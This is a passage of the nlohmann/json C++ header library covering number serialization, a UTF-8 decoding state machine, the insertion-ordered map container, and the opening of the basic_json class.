{{'6', '6'}}, {{'6', '7'}}, {{'6', '8'}}, {{'6', '9'}},\n                    {{'7', '0'}}, {{'7', '1'}}, {{'7', '2'}}, {{'7', '3'}}, {{'7', '4'}}, {{'7', '5'}}, {{'7', '6'}}, {{'7', '7'}}, {{'7', '8'}}, {{'7', '9'}},\n                    {{'8', '0'}}, {{'8', '1'}}, {{'8', '2'}}, {{'8', '3'}}, {{'8', '4'}}, {{'8', '5'}}, {{'8', '6'}}, {{'8', '7'}}, {{'8', '8'}}, {{'8', '9'}},\n                    {{'9', '0'}}, {{'9', '1'}}, {{'9', '2'}}, {{'9', '3'}}, {{'9', '4'}}, {{'9', '5'}}, {{'9', '6'}}, {{'9', '7'}}, {{'9', '8'}}, {{'9', '9'}},\n                }\n            };\n\n            // special case for \"0\"\n            if (x == 0)\n            {\n                o->write_character('0');\n                return;\n            }\n\n            // use a pointer to fill the buffer\n            auto buffer_ptr = number_buffer.begin(); // NOLINT(llvm-qualified-auto,readability-qualified-auto,cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n\n            number_unsigned_t abs_value;\n\n            unsigned int n_chars{};\n\n            if (is_negative_number(x))\n            {\n                *buffer_ptr = '-';\n                abs_value = remove_sign(static_cast<number_integer_t>(x));\n\n                // account one more byte for the minus sign\n                n_chars = 1 + count_digits(abs_value);\n            }\n            else\n            {\n                abs_value = static_cast<number_unsigned_t>(x);\n                n_chars = count_digits(abs_value);\n            }\n\n            // spare 1 byte for '\\0'\n            JSON_ASSERT(n_chars < number_buffer.size() - 1);\n\n            // jump to the end to generate the string from backward,\n            // so we later avoid reversing the result\n            buffer_ptr += n_chars;\n\n            // Fast int2ascii implementation inspired by \"Fastware\" talk by Andrei Alexandrescu\n            // See: https://www.youtube.com/watch?v=o4-CwDo2zpg\n            while (abs_value >= 100)\n            {\n                const auto digits_index = static_cast<unsigned>((abs_value % 100));\n                abs_value /= 100;\n                *(--buffer_ptr) = digits_to_99[digits_index][1];\n                *(--buffer_ptr) = digits_to_99[digits_index][0];\n            }\n\n            if (abs_value >= 10)\n            {\n                const auto digits_index = static_cast<unsigned>(abs_value);\n                *(--buffer_ptr) = digits_to_99[digits_index][1];\n                *(--buffer_ptr) = digits_to_99[digits_index][0];\n            }\n            else\n            {\n                *(--buffer_ptr) = static_cast<char>('0' + abs_value);\n            }\n\n            o->write_characters(number_buffer.data(), n_chars);\n        }\n\n        /*!\n        @brief dump a floating-point number\n\n        Dump a given floating-point number to output stream @a o. Works internally\n        with @a number_buffer.\n\n        @param[in] x  floating-point number to dump\n        */\n        void dump_float(number_float_t x)\n        {\n            // NaN / inf\n            if (!std::isfinite(x))\n            {\n                o->write_characters(\"null\", 4);\n                return;\n            }\n\n            // If number_float_t is an IEEE-754 single or double precision number,\n            // use the Grisu2 algorithm to produce short numbers which are\n            // guaranteed to round-trip, using strtof and strtod, resp.\n            //\n            // NB: The test below works if <long double> == <double>.\n            static constexpr bool is_ieee_single_or_double\n                = (std::numeric_limits<number_float_t>::is_iec559 && std::numeric_limits<number_float_t>::digits == 24 && std::numeric_limits<number_float_t>::max_exponent == 128) ||\n                (std::numeric_limits<number_float_t>::is_iec559 && std::numeric_limits<number_float_t>::digits == 53 && std::numeric_limits<number_float_t>::max_exponent == 1024);\n\n            dump_float(x, std::integral_constant<bool, is_ieee_single_or_double>());\n        }\n\n        void dump_float(number_float_t x, std::true_type /*is_ieee_single_or_double*/)\n        {\n            auto* begin = number_buffer.data();\n            auto* end = ::nlohmann::detail::to_chars(begin, begin + number_buffer.size(), x);\n\n            o->write_characters(begin, static_cast<size_t>(end - begin));\n        }\n\n        void dump_float(number_float_t x, std::false_type /*is_ieee_single_or_double*/)\n        {\n            // get number of digits for a float -> text -> float round-trip\n            static constexpr auto d = std::numeric_limits<number_float_t>::max_digits10;\n\n            // the actual conversion\n            // NOLINTNEXTLINE(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n            std::ptrdiff_t len = (std::snprintf)(number_buffer.data(), number_buffer.size(), \"%.*g\", d, x);\n\n            // negative value indicates an error\n            JSON_ASSERT(len > 0);\n            // check if buffer was large enough\n            JSON_ASSERT(static_cast<std::size_t>(len) < number_buffer.size());\n\n            // erase thousands separator\n            if (thousands_sep != '\\0')\n            {\n                // NOLINTNEXTLINE(readability-qualified-auto,llvm-qualified-auto): std::remove returns an iterator, see https://github.com/nlohmann/json/issues/3081\n                const auto end = std::remove(number_buffer.begin(), number_buffer.begin() + len, thousands_sep);\n                std::fill(end, number_buffer.end(), '\\0');\n                JSON_ASSERT((end - number_buffer.begin()) <= len);\n                len = (end - number_buffer.begin());\n            }\n\n            // convert decimal point to '.'\n            if (decimal_point != '\\0' && decimal_point != '.')\n            {\n                // NOLINTNEXTLINE(readability-qualified-auto,llvm-qualified-auto): std::find returns an iterator, see https://github.com/nlohmann/json/issues/3081\n                const auto dec_pos = std::find(number_buffer.begin(), number_buffer.end(), decimal_point);\n                if (dec_pos != number_buffer.end())\n                {\n                    *dec_pos = '.';\n                }\n            }\n\n            o->write_characters(number_buffer.data(), static_cast<std::size_t>(len));\n\n            // determine if we need to append \".0\"\n            const bool value_is_int_like =\n                std::none_of(number_buffer.begin(), number_buffer.begin() + len + 1,\n                    [](char c)\n                    {\n                        return c == '.' || c == 'e';\n                    });\n\n            if (value_is_int_like)\n            {\n                o->write_characters(\".0\", 2);\n            }\n        }\n\n        /*!\n        @brief check whether a string is UTF-8 encoded\n\n        The function checks each byte of a string whether it is UTF-8 encoded. The\n        result of the check is stored in the @a state parameter. The function must\n        be called initially with state 0 (accept). State 1 means the string must\n        be rejected, because the current byte is not allowed. If the string is\n        completely processed, but the state is non-zero, the string ended\n        prematurely; that is, the last byte indicated more bytes should have\n        followed.\n\n        @param[in,out] state  the state of the decoding\n        @param[in,out] codep  codepoint (valid only if resulting state is UTF8_ACCEPT)\n        @param[in] byte       next byte to decode\n        @return               new state\n\n        @note The function has been edited: a std::array is used.\n\n        @copyright Copyright (c) 2008-2009 Bjoern Hoehrmann <bjoern@hoehrmann.de>\n        @sa http://bjoern.hoehrmann.de/utf-8/decoder/dfa/\n        */\n        static std::uint8_t decode(std::uint8_t& state, std::uint32_t& codep, const std::uint8_t byte) noexcept\n        {\n            static const std::array<std::uint8_t, 400> utf8d =\n            {\n                {\n                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 00..1F\n                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 20..3F\n                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 40..5F\n                    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 60..7F\n                    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, // 80..9F\n                    7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, // A0..BF\n                    8, 8, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // C0..DF\n                    0xA, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x3, 0x4, 0x3, 0x3, // E0..EF\n                    0xB, 0x6, 0x6, 0x6, 0x5, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, // F0..FF\n                    0x0, 0x1, 0x2, 0x3, 0x5, 0x8, 0x7, 0x1, 0x1, 0x1, 0x4, 0x6, 0x1, 0x1, 0x1, 0x1, // s0..s0\n                    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, // s1..s2\n                    1, 2, 1, 1, 1, 1, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, // s3..s4\n                    1, 2, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1, 3, 1, 1, 1, 1, 1, 1, // s5..s6\n                    1, 3, 1, 1, 1, 1, 1, 3, 1, 3, 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 // s7..s8\n                }\n            };\n\n            JSON_ASSERT(byte < utf8d.size());\n            const std::uint8_t type = utf8d[byte];\n\n            codep = (state != UTF8_ACCEPT)\n                ? (byte & 0x3fu) | (codep << 6u)\n                : (0xFFu >> type) & (byte);\n\n            const std::size_t index = 256u + static_cast<size_t>(state) * 16u + static_cast<size_t>(type);\n            JSON_ASSERT(index < utf8d.size());\n            state = utf8d[index];\n            return state;\n        }\n\n        /*\n         * Overload to make the compiler happy while it is instantiating\n         * dump_integer for number_unsigned_t.\n         * Must never be called.\n         */\n        number_unsigned_t remove_sign(number_unsigned_t x)\n        {\n            JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n            return x; // LCOV_EXCL_LINE\n        }\n\n        /*\n         * Helper function for dump_integer\n         *\n         * This function takes a negative signed integer and returns its absolute\n         * value as unsigned integer. The plus/minus shuffling is necessary as we can\n         * not directly remove the sign of an arbitrary signed integer as the\n         * absolute values of INT_MIN and INT_MAX are usually not the same. See\n         * #1708 for details.\n         */\n        inline number_unsigned_t remove_sign(number_integer_t x) noexcept\n        {\n            JSON_ASSERT(x < 0 && x < (std::numeric_limits<number_integer_t>::max)()); // NOLINT(misc-redundant-expression)\n            return static_cast<number_unsigned_t>(-(x + 1)) + 1;\n        }\n\n    private:\n        /// the output of the serializer\n        output_adapter_t<char> o = nullptr;\n\n        /// a (hopefully) large enough character buffer\n        std::array<char, 64> number_buffer{ {} };\n\n        /// the locale\n        const std::lconv* loc = nullptr;\n        /// the locale's thousand separator character\n        const char thousands_sep = '\\0';\n        /// the locale's decimal point character\n        const char decimal_point = '\\0';\n\n        /// string buffer\n        std::array<char, 512> string_buffer{ {} };\n\n        /// the indentation character\n        const char indent_char;\n        /// the indentation string\n        string_t indent_string;\n\n        /// error_handler how to react on decoding errors\n        const error_handler_t error_handler;\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/value_t.hpp>\n\n// #include <nlohmann/json_fwd.hpp>\n\n// #include <nlohmann/ordered_map.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <functional> // equal_to, less\n#include <initializer_list> // initializer_list\n#include <iterator> // input_iterator_tag, iterator_traits\n#include <memory> // allocator\n#include <stdexcept> // for out_of_range\n#include <type_traits> // enable_if, is_convertible\n#include <utility> // pair\n#include <vector> // vector\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\n/// ordered_map: a minimal map-like container that preserves insertion order\n/// for use within nlohmann::basic_json<ordered_map>\ntemplate <class Key, class T, class IgnoredLess = std::less<Key>,\n    class Allocator = std::allocator<std::pair<const Key, T>>>\nstruct ordered_map : std::vector<std::pair<const Key, T>, Allocator>\n{\n    using key_type = Key;\n    using mapped_type = T;\n    using Container = std::vector<std::pair<const Key, T>, Allocator>;\n    using iterator = typename Container::iterator;\n    using const_iterator = typename Container::const_iterator;\n    using size_type = typename Container::size_type;\n    using value_type = typename Container::value_type;\n#ifdef JSON_HAS_CPP_14\n    using key_compare = std::equal_to<>;\n#else\n    using key_compare = std::equal_to<Key>;\n#endif\n\n    // Explicit constructors instead of `using Container::Container`\n    // otherwise older compilers choke on it (GCC <= 5.5, xcode <= 9.4)\n    ordered_map() noexcept(noexcept(Container())) : Container{} {}\n    explicit ordered_map(const Allocator& alloc) noexcept(noexcept(Container(alloc))) : Container{ alloc } {}\n    template <class It>\n    ordered_map(It first, It last, const Allocator& alloc = Allocator())\n        : Container{ first, last, alloc } {\n    }\n    ordered_map(std::initializer_list<value_type> init, const Allocator& alloc = Allocator())\n        : Container{ init, alloc } {\n    }\n\n    std::pair<iterator, bool> emplace(const key_type& key, T&& t)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return { it, false };\n            }\n        }\n        Container::emplace_back(key, std::forward<T>(t));\n        return { std::prev(this->end()), true };\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    std::pair<iterator, bool> emplace(KeyType&& key, T&& t)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return { it, false };\n            }\n        }\n        Container::emplace_back(std::forward<KeyType>(key), std::forward<T>(t));\n        return { std::prev(this->end()), true };\n    }\n\n    T& operator[](const key_type& key)\n    {\n        return emplace(key, T{}).first->second;\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    T& operator[](KeyType&& key)\n    {\n        return emplace(std::forward<KeyType>(key), T{}).first->second;\n    }\n\n    const T& operator[](const key_type& key) const\n    {\n        return at(key);\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    const T& operator[](KeyType&& key) const\n    {\n        return at(std::forward<KeyType>(key));\n    }\n\n    T& at(const key_type& key)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return it->second;\n            }\n        }\n\n        JSON_THROW(std::out_of_range(\"key not found\"));\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    T& at(KeyType&& key) // NOLINT(cppcoreguidelines-missing-std-forward)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return it->second;\n            }\n        }\n\n        JSON_THROW(std::out_of_range(\"key not found\"));\n    }\n\n    const T& at(const key_type& key) const\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return it->second;\n            }\n        }\n\n        JSON_THROW(std::out_of_range(\"key not found\"));\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    const T& at(KeyType&& key) const // NOLINT(cppcoreguidelines-missing-std-forward)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return it->second;\n            }\n        }\n\n        JSON_THROW(std::out_of_range(\"key not found\"));\n    }\n\n    size_type erase(const key_type& key)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                // Since we cannot move const Keys, re-construct them in place\n                for (auto next = it; ++next != this->end(); ++it)\n                {\n                    it->~value_type(); // Destroy but keep allocation\n                    new (&*it) value_type{ std::move(*next) };\n                }\n                Container::pop_back();\n                return 1;\n            }\n        }\n        return 0;\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    size_type erase(KeyType&& key) // NOLINT(cppcoreguidelines-missing-std-forward)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                // Since we cannot move const Keys, re-construct them in place\n                for (auto next = it; ++next != this->end(); ++it)\n                {\n                    it->~value_type(); // Destroy but keep allocation\n                    new (&*it) value_type{ std::move(*next) };\n                }\n                Container::pop_back();\n                return 1;\n            }\n        }\n        return 0;\n    }\n\n    iterator erase(iterator pos)\n    {\n        return erase(pos, std::next(pos));\n    }\n\n    iterator erase(iterator first, iterator last)\n    {\n        if (first == last)\n        {\n            return first;\n        }\n\n        const auto elements_affected = std::distance(first, last);\n        const auto offset = std::distance(Container::begin(), first);\n\n        // This is the start situation. We need to delete elements_affected\n        // elements (3 in this example: e, f, g), and need to return an\n        // iterator past the last deleted element (h in this example).\n        // Note that offset is the distance from the start of the vector\n        // to first. We will need this later.\n\n        // [ a, b, c, d, e, f, g, h, i, j ]\n        //               ^        ^\n        //             first    last\n\n        // Since we cannot move const Keys, we re-construct them in place.\n        // We start at first and re-construct (viz. copy) the elements from\n        // the back of the vector. Example for first iteration:\n\n        //               ,--------.\n        //               v        |   destroy e and re-construct with h\n        // [ a, b, c, d, e, f, g, h, i, j ]\n        //               ^        ^\n        //               it       it + elements_affected\n\n        for (auto it = first; std::next(it, elements_affected) != Container::end(); ++it)\n        {\n            it->~value_type(); // destroy but keep allocation\n            new (&*it) value_type{ std::move(*std::next(it, elements_affected)) }; // \"move\" next element to it\n        }\n\n        // [ a, b, c, d, h, i, j, h, i, j ]\n        //               ^        ^\n        //             first    last\n\n        // remove the unneeded elements at the end of the vector\n        Container::resize(this->size() - static_cast<size_type>(elements_affected));\n\n        // [ a, b, c, d, h, i, j ]\n        //               ^        ^\n        //             first    last\n\n        // first is now pointing past the last deleted element, but we cannot\n        // use this iterator, because it may have been invalidated by the\n        // resize call. Instead, we can return begin() + offset.\n        return Container::begin() + offset;\n    }\n\n    size_type count(const key_type& key) const\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return 1;\n            }\n        }\n        return 0;\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    size_type count(KeyType&& key) const // NOLINT(cppcoreguidelines-missing-std-forward)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return 1;\n            }\n        }\n        return 0;\n    }\n\n    iterator find(const key_type& key)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return it;\n            }\n        }\n        return Container::end();\n    }\n\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_key_type<key_compare, key_type, KeyType>::value, int> = 0>\n    iterator find(KeyType&& key) // NOLINT(cppcoreguidelines-missing-std-forward)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return it;\n            }\n        }\n        return Container::end();\n    }\n\n    const_iterator find(const key_type& key) const\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, key))\n            {\n                return it;\n            }\n        }\n        return Container::end();\n    }\n\n    std::pair<iterator, bool> insert(value_type&& value)\n    {\n        return emplace(value.first, std::move(value.second));\n    }\n\n    std::pair<iterator, bool> insert(const value_type& value)\n    {\n        for (auto it = this->begin(); it != this->end(); ++it)\n        {\n            if (m_compare(it->first, value.first))\n            {\n                return { it, false };\n            }\n        }\n        Container::push_back(value);\n        return { --this->end(), true };\n    }\n\n    template<typename InputIt>\n    using require_input_iter = typename std::enable_if<std::is_convertible<typename std::iterator_traits<InputIt>::iterator_category,\n        std::input_iterator_tag>::value>::type;\n\n    template<typename InputIt, typename = require_input_iter<InputIt>>\n    void insert(InputIt first, InputIt last)\n    {\n        for (auto it = first; it != last; ++it)\n        {\n            insert(*it);\n        }\n    }\n\nprivate:\n    JSON_NO_UNIQUE_ADDRESS key_compare m_compare = key_compare();\n};\n\nNLOHMANN_JSON_NAMESPACE_END\n\n\n#if defined(JSON_HAS_CPP_17)\n#if JSON_HAS_STATIC_RTTI\n#include <any>\n#endif\n#include <string_view>\n#endif\n\n/*!\n@brief namespace for Niels Lohmann\n@see https://github.com/nlohmann\n@since version 1.0.0\n*/\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\n/*!\n@brief a class to store JSON values\n\n@internal\n@invariant The member variables @a m_value and @a m_type have the following\nrelationship:\n- If `m_type == value_t::object`, then `m_value.object != nullptr`.\n- If `m_type == value_t::array`, then `m_value.array != nullptr`.\n- If `m_type == value_t::string`, then `m_value.string != nullptr`.\nThe invariants are checked by member function assert_invariant().\n\n@note ObjectType trick from https://stackoverflow.com/a/9860911\n@endinternal\n\n@since version 1.0.0\n\n@nosubgrouping\n*/\nNLOHMANN_BASIC_JSON_TPL_DECLARATION\nclass basic_json // NOLINT(cppcoreguidelines-special-member-functions,hicpp-special-member-functions)\n    : public ::nlohmann::detail::json_base_class<CustomBaseClass>\n{\nprivate:\n    template<detail::value_t> friend struct detail::external_constructor;\n\n    template<typename>\n    friend class ::nlohmann::json_pointer;\n    // can be restored when json_pointer backwards compatibility is removed\n    // friend ::nlohmann::json_pointer<StringType>;\n\n    template<typename BasicJsonType, typename InputType>\n    friend class ::nlohmann::detail::parser;\n    friend ::nlohmann::detail::serializer<basic_json>;\n    template<typename BasicJsonType>\n    friend class ::nlohmann::detail::iter_impl;\n    template<typename BasicJsonType, typename CharType>\n    friend class ::nlohmann::detail::binary_writer;\n    template<typename BasicJsonType, typename InputType, typename SAX>\n    friend class ::nlohmann::detail::binary_reader;\n    template<typename BasicJsonType>\n    friend class ::nlohmann::detail::json_sax_dom_parser;\n    template<typename BasicJsonType>\n    friend class ::nlohmann::detail::json_sax_dom_callback_parser;\n    friend class ::nlohmann::detail::exception;\n\n    /// workaround type for MSVC\n    using basic_json_t = NLOHMANN_BASIC_JSON_TPL;\n    using json_base_class_t = ::nlohmann::detail::json_base_class<CustomBaseClass>;\n\nJSON_PRIVATE_UNLESS_TESTED:\n    // convenience aliases for types residing in namespace detail;\n    using lexer = ::nlohmann::detail::lexer_base<basic_json>;\n\n    template<typename InputAdapterType>\n    static ::nlohmann::detail::parser<basic_json, InputAdapterType> parser(\n        InputAdapterType adapter,\n        detail::parser_callback_t<basic_json>cb = nullptr,\n        const bool allow_exceptions = true,\n        const bool ignore_comments = false\n    )\n    {\n        return ::nlohmann::detail::parser<basic_json, InputAdapterType>(std::move(adapter),\n            std::move(cb), allow_exceptions, ignore_comments);\n    }\n\nprivate:\n    using primitive_iterator_t = ::nlohmann::detail::primitive_iterator_t;\n    template<typename BasicJsonType>\n    using internal_iterator = ::nlohmann::detail::internal_iterator<BasicJsonType>;\n    template<typename BasicJsonType>\n    using iter_impl = ::nlohmann::detail::iter_impl<BasicJsonType>;\n    template<typename Iterator>\n    using iteration_proxy = ::nlohmann::detail::iteration_proxy<Iterator>;\n    template<typename Base> using json_reverse_iterator = ::nlohmann::detail::json_reverse_iterator<Base>;\n\n    template<typename CharType>\n    using output_adapter_t = ::nlohmann::detail::output_adapter_t<CharType>;\n\n    template<typename InputType>\n    using binary_reader = ::nlohmann::detail::binary_reader<basic_json, InputType>;\n    template<typename CharType> using binary_writer = ::nlohmann::detail::binary_writer<basic_json, CharType>;\n\nJSON_PRIVATE_UNLESS_TESTED:\n    using serializer = ::nlohmann::detail::serializer<basic_json>;\n\npublic:\n    using value_t = detail::value_t;\n    /// JSON Pointer, see @ref nlohmann::json_pointer\n    using json_pointer = ::nlohmann::json_pointer<StringType>;\n    template<typename T, typename SFINAE>\n    using json_serializer = JSONSerializer<T, SFINAE>;\n    /// how to treat decoding errors\n    using error_handler_t = detail::error_handler_t;\n    /// how to treat CBOR tags\n    using cbor_tag_handler_t = detail::cbor_tag_handler_t;\n    /// helper type for initializer lists of basic_json values\n    using initializer_list_t = std::initializer_list<detail::json_ref<basic_json>>;\n\n    using input_format_t = detail::input_format_t;\n    /// SAX interface type, see @ref nlohmann::json_sax\n    using json_sax_t = json_sax<basic_json>;\n\n    ////////////////\n    // exceptions //\n    ////////////////\n\n    /// @name exceptions\n    /// Classes to implement user-defined exceptions.\n    /// @{\n\n    using exception = detail::exception;\n    using parse_error = detail::parse_error;\n    using invalid_iterator = detail::invalid_iterator;\n    using type_error = detail::type_error;\n    using out_of_range = detail::out_of_range;\n    using other_error = detail::other_error;\n\n    /// @}\n\n    /////////////////////\n    // container types //\n    /////////////////////\n\n    /// @name container types\n    /// The canonic container types to use @ref basic_json like any other STL\n    /// container.\n    /// @{\n\n    /// the type of elements in a basic_json container\n    using value_type = basic_json;\n\n    /// the type of an element reference\n    using reference = value_type&;\n    /// the type of an element const reference\n    using const_reference = const value_type&;\n\n    /// a type to represent differences between iterators\n    using difference_type = std::ptrdiff_t;\n    /// a type to represent container sizes\n    using size_type = std::size_t;\n\n    /// the allocator type\n    using allocator_type = AllocatorType<basic_json>;\n\n    /// the type of an element pointer\n    using pointer = typename std::allocator_traits<allocator_type>::pointer;\n    /// the type of an element const pointer\n    using const_pointer = typename std::allocator_traits<allocator_type>::const_pointer;\n\n    /// an iterator for a basic_json container\n    using iterator = iter_impl<basic_json>;\n    /// a const iterator for a basic_json container\n    using const_iterator = iter_impl<const basic_json>;\n    /// a reverse iterator for a basic_json container\n    using reverse_iterator = json_reverse_iterator<typename basic_json::iterator>;\n    /// a const reverse iterator for a basic_json container\n    using const_reverse_iterator = json_reverse_iterator<typename basic_json::const_iterator>;\n\n    /// @}\n\n    /// @brief returns the allocator associated with the container\n    /// @sa https://json.nlohmann.me/api/basic_json/get_allocator/\n    static allocator_type get_allocator()\n    {\n        return allocator_type();\n    }\n\n    /// @brief returns version information on the library\n    /// @sa https://json.nlohmann.me/api/basic_json/meta/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json meta()\n    {\n        basic_json result;\n\n        result[\"copyright\"] = \"(C) 2013-2023 Niels Lohmann\";\n        result[\"name\"] = \"JSON for Modern C++\";\n        result[\"url\"] = \"https://github.com/nlohmann/json\";\n        result[\"version\"][\"string\"] =\n            detail::concat(std::to_string(NLOHMANN_JSON_VERSION_MAJOR), '.',\n                std::to_string(NLOHMANN_JSON_VERSION_MINOR), '.',\n                std::to_string(NLOHMANN_JSON_VERSION_PATCH));\n        result[\"version\"][\"major\"] = NLOHMANN_JSON_VERSION_MAJOR;\n        result[\"version\"][\"minor\"] = NLOHMANN_JSON_VERSION_MINOR;\n        result[\"version\"][\"patch\"] = NLOHMANN_JSON_VERSION_PATCH;\n\n#ifdef _WIN32\n        result[\"platform\"] = \"win32\";\n#elif defined __linux__\n        result[\"platform\"] = \"linux\";\n#elif defined __APPLE__\n        result[\"platform\"] = \"apple\";\n#elif defined __unix__\n        result[\"platform\"] = \"unix\";\n#else\n        result[\"platform\"] = \"unknown\";\n#endif\n\n#if defined(__ICC) || defined(__INTEL_COMPILER)\n        result[\"compiler\"] = { {\"family\", \"icc\"}, {\"version\", __INTEL_COMPILER} };\n#elif defined(__clang__)\n        result[\"compiler\"] = { {\"family\", \"clang\"}, {\"version\", __clang_version__} };\n#elif defined(__GNUC__) || defined(__GNUG__)\n        result[\"compiler\"] = { {\"family\", \"gcc\"}, {\"version\", detail::concat(\n                    std::to_string(__GNUC__), '.',\n                    std::to_string(__GNUC_MINOR__), '.',\n                    std::to_string(__GNUC_PATCHLEVEL__))\n            }\n        };\n#elif defined(__HP_cc) || defined(__HP_aCC)\n        result[\"compiler\"] = \"hp\"\n#elif defined(__IBMCPP__)\n        result[\"compiler\"] = { {\"family\", \"ilecpp\"}, {\"version\", __IBMCPP__} };\n#elif defined(_MSC_VER)\n        result[\"compiler\"] = { {\"family\", \"msvc\"}, {\"version\", _MSC_VER} };\n#elif defined(__PGI)\n        result[\"compiler\"] = { {\"family\", \"pgcpp\"}, {\"version\", __PGI} };\n#elif defined(__SUNPRO_CC)\n        result[\"compiler\"] = { {\"family\", \"sunpro\"}, {\"version\", __SUNPRO_CC} };\n#else\n        result[\"compiler\"] = { {\"family\", \"unknown\"}, {\"version\", \"unknown\"} };\n#endif\n\n#if defined(_MSVC_LANG)\n        result[\"compiler\"][\"c++\"] = std::to_string(_MSVC_LANG);\n#elif defined(__cplusplus)\n        result[\"compiler\"][\"c++\"] = std::to_string(__cplusplus);\n#else\n        result[\"compiler\"][\"c++\"] = \"unknown\";\n#endif\n        return result;\n    }\n\n    ///////////////////////////\n    // JSON value data types //\n    ///////////////////////////\n\n    /// @name JSON value data types\n    /// The data types to store a JSON value. These types are derived from\n    /// the template arguments passed to class @ref basic_json.\n    /// @{\n\n    /// @brief default object key comparator type\n    /// The actual object key comparator type (@ref object_comparator_t) may be\n    /// different.\n    /// @sa https://json.nlohmann.me/api/basic_json/default_object_comparator_t/\n#if defined(JSON_HAS_CPP_14)\n    // use of transparent comparator avoids unnecessary repeated construction of temporaries\n    // in functions involving lookup by key with types other than object_t::key_type (aka. StringType)\n    using default_object_comparator_t = std::less<>;\n#else\n    using default_object_comparator_t = std::less<StringType>;\n#endif\n\n    /// @brief a type for an object\n    /// @sa https://json.nlohmann.me/api/basic_json/object_t/\n    using object_t = ObjectType<StringType,\n        